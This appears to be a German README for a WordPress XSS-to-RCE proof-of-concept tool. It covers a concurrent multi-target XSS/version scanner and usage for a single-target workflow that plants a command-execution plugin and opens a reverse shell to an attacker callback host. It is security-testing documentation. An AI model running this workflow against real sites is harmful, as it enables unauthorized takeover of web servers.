
Autorisierter WordPress-XSS-zu-RCE-Scanner mit gleichzeitiger XSS-Reflexion über mehrere Ziele sowie Versions-Fingerabdruck-Erkennung und optionalem Exploitation-Workflow.
Entwickler: YogaGymn
PoC-/Scanning-Utility für autorisierte WordPress-Sicherheitstests. Das Projekt enthält einen Exploitation-Workflow für ein einzelnes Ziel und einen gleichzeitigen Multi-Target-Nur-Scan-Modus.
Wichtig: Verwenden Sie dieses Projekt nur auf WordPress-Installationen, die Ihnen gehören oder für die Sie eine ausdrückliche Genehmigung zum Testen haben. Der Multi-Target- Scanner ist absichtlich auf Fingerprinting und XSS-Reflection- Erkennung beschränkt; er führt keine Credential-Erfassung, Plugin-Upload oder RCE gegen eine Zielliste durch.
Das ursprüngliche Skript unterstützt:
auto-, xss- und direct-Modi.Der hinzugefügte Scanner unterstützt:
ThreadPoolExecutor.Der Multi-Target-Modus ruft die ursprünglichen RCE-Funktionen nicht auf.
requestsInstallieren Sie die Abhängigkeit:
python3 -m pip install requests
Wenn Ihre Linux-Distribution eine extern verwaltete Python-Umgebung verwendet, nutzen Sie eine virtuelle Umgebung:
python3 -m venv .venv
source .venv/bin/activate
pip install requests
Klonen oder kopieren Sie das Projekt:
git clone https://github.com/yogaGymn/XSS2Shell-CVE-2026-64638
cd XSS2Shell-CVE-2026-64638
Oder platzieren Sie einfach:
xss2shell.py
in Ihrem Arbeitsverzeichnis.
Erstellen Sie eine Datei namens targets.txt:
https://example1.test
https://example2.test
https://example3.test
Kommentare und Leerzeilen werden ignoriert:
# Authorized lab targets
https://example1.test
https://example2.test
Führen Sie den Scanner aus:
python3 xss2shell.py -i targets.txt
Die Standardparallelität beträgt 10 Worker.
Verwenden Sie zum Beispiel 20 Worker:
python3 xss2shell.py -i targets.txt --workers 20
Für ein kleines Labor:
python3 xss2shell.py -i targets.txt --workers 5
Wählen Sie keine unnötig hohe Worker-Anzahl, da dies die Verbindungslast erhöhen und Rate-Limiting oder defensive Kontrollen auslösen kann.
python3 xss2shell.py \
-i targets.txt \
--workers 10 \
--output results.txt
[*] Multiple-target scan: 3 target(s)
[*] Concurrent workers: 10
[*] Scan-only: WordPress fingerprint + XSS reflection check
[*] No login, plugin upload, credential capture, or RCE
[1/3] https://example1.test | WP=6.8.2 | XSS=XSS_NOT_DETECTED (ESCAPED)
[2/3] https://example2.test | WP=6.7.1 | XSS=XSS_REFLECTION_DETECTED (AREA_BYPASS)
[3/3] https://example3.test | WP=unknown | XSS=XSS_NOT_DETECTED (NOT_REFLECTED)
=======================================================
MULTIPLE-TARGET SCAN COMPLETE
=======================================================
Total targets : 3
XSS detected : 1
Not detected : 2
Errors : 0
Results saved : scan_results.txt
Die Standarddatei scan_results.txt verwendet tabulatorgetrennte Felder:
TARGET WORDPRESS_VERSION XSS_STATUS XSS_DETAIL
Beispiel:
https://example1.test 6.8.2 XSS_NOT_DETECTED ESCAPED
https://example2.test 6.7.1 XSS_REFLECTION_DETECTED AREA_BYPASS
Status Bedeutung
XSS_REFLECTION_DETECTED Der Scanner hat das getestete
HTML-Reflexionsverhalten erkannt.
Dies ist für sich genommen kein
Beweis für RCE.
XSS_NOT_DETECTED Die getestete Reflexion wurde nicht
erkannt.
ERROR Bei der Prüfung ist eine Ausnahme
aufgetreten.Der Scanner kann Details wie die folgenden melden:
RAW_HTMLAREA_BYPASSESCAPEDSTRIPPEDNOT_REFLECTEDDiese Werte beschreiben die von der Erkennungsroutine beobachtete Antwort; sie sollten manuell validiert werden, bevor ein Ergebnis als bestätigte Schwachstelle behandelt wird.
Das ursprüngliche Skript unterstützt auch Argumente für ein einzelnes Ziel.
python3 xss2shell.py \
-u admin \
-p 'PASSWORD' \
http://authorized-target.test
python3 xss2shell.py \
--mode direct \
-u admin \
-p 'PASSWORD' \
http://authorized-target.test
python3 xss2shell.py \
--mode xss \
--lhost 192.0.2.10 \
http://authorized-lab.test
Die XSS-/Direkt-Workflows können ein Plugin erstellen oder aktivieren, das Funktionalität zur Befehlsausführung enthält. Verwenden Sie sie nur in einer autorisierten Test- Umgebung.
usage: xss2shell.py [-h]
[-i TARGET_FILE] [--output OUTPUT] [--workers WORKERS]
[--mode {auto,xss,direct}]
[-u USERNAME] [-p PASSWORD]
[--lhost LHOST] [--lport LPORT]
[--slug SLUG] [--callback-port CALLBACK_PORT]
[--no-rev]
[target]
Argument Beschreibung
target Einzelne Ziel-URL.
-i, --input Datei mit mehreren Zielen.
--output Ausgabedatei für Ergebnisse mit
mehreren Zielen. Standard:
scan_results.txt.
--workers Anzahl gleichzeitiger Worker.
Standard: 10.
--mode Ursprünglicher Einzelziel-Modus:
auto, xss oder direct.
-u, --username WordPress-Benutzername für den
ursprünglichen
Direct-/Fallback-Workflow.
-p, --password WordPress-Passwort für den
ursprünglichen
Direct-/Fallback-Workflow.
--lhost Callback-/Reverse-Shell-Host für
den ursprünglichen PoC.
--lport Reverse-Shell-Port. Standard:
4444.
--slug Plugin-Slug. Standard: xss2shell.
--callback-port Callback-Server-Port. Standard:
9090.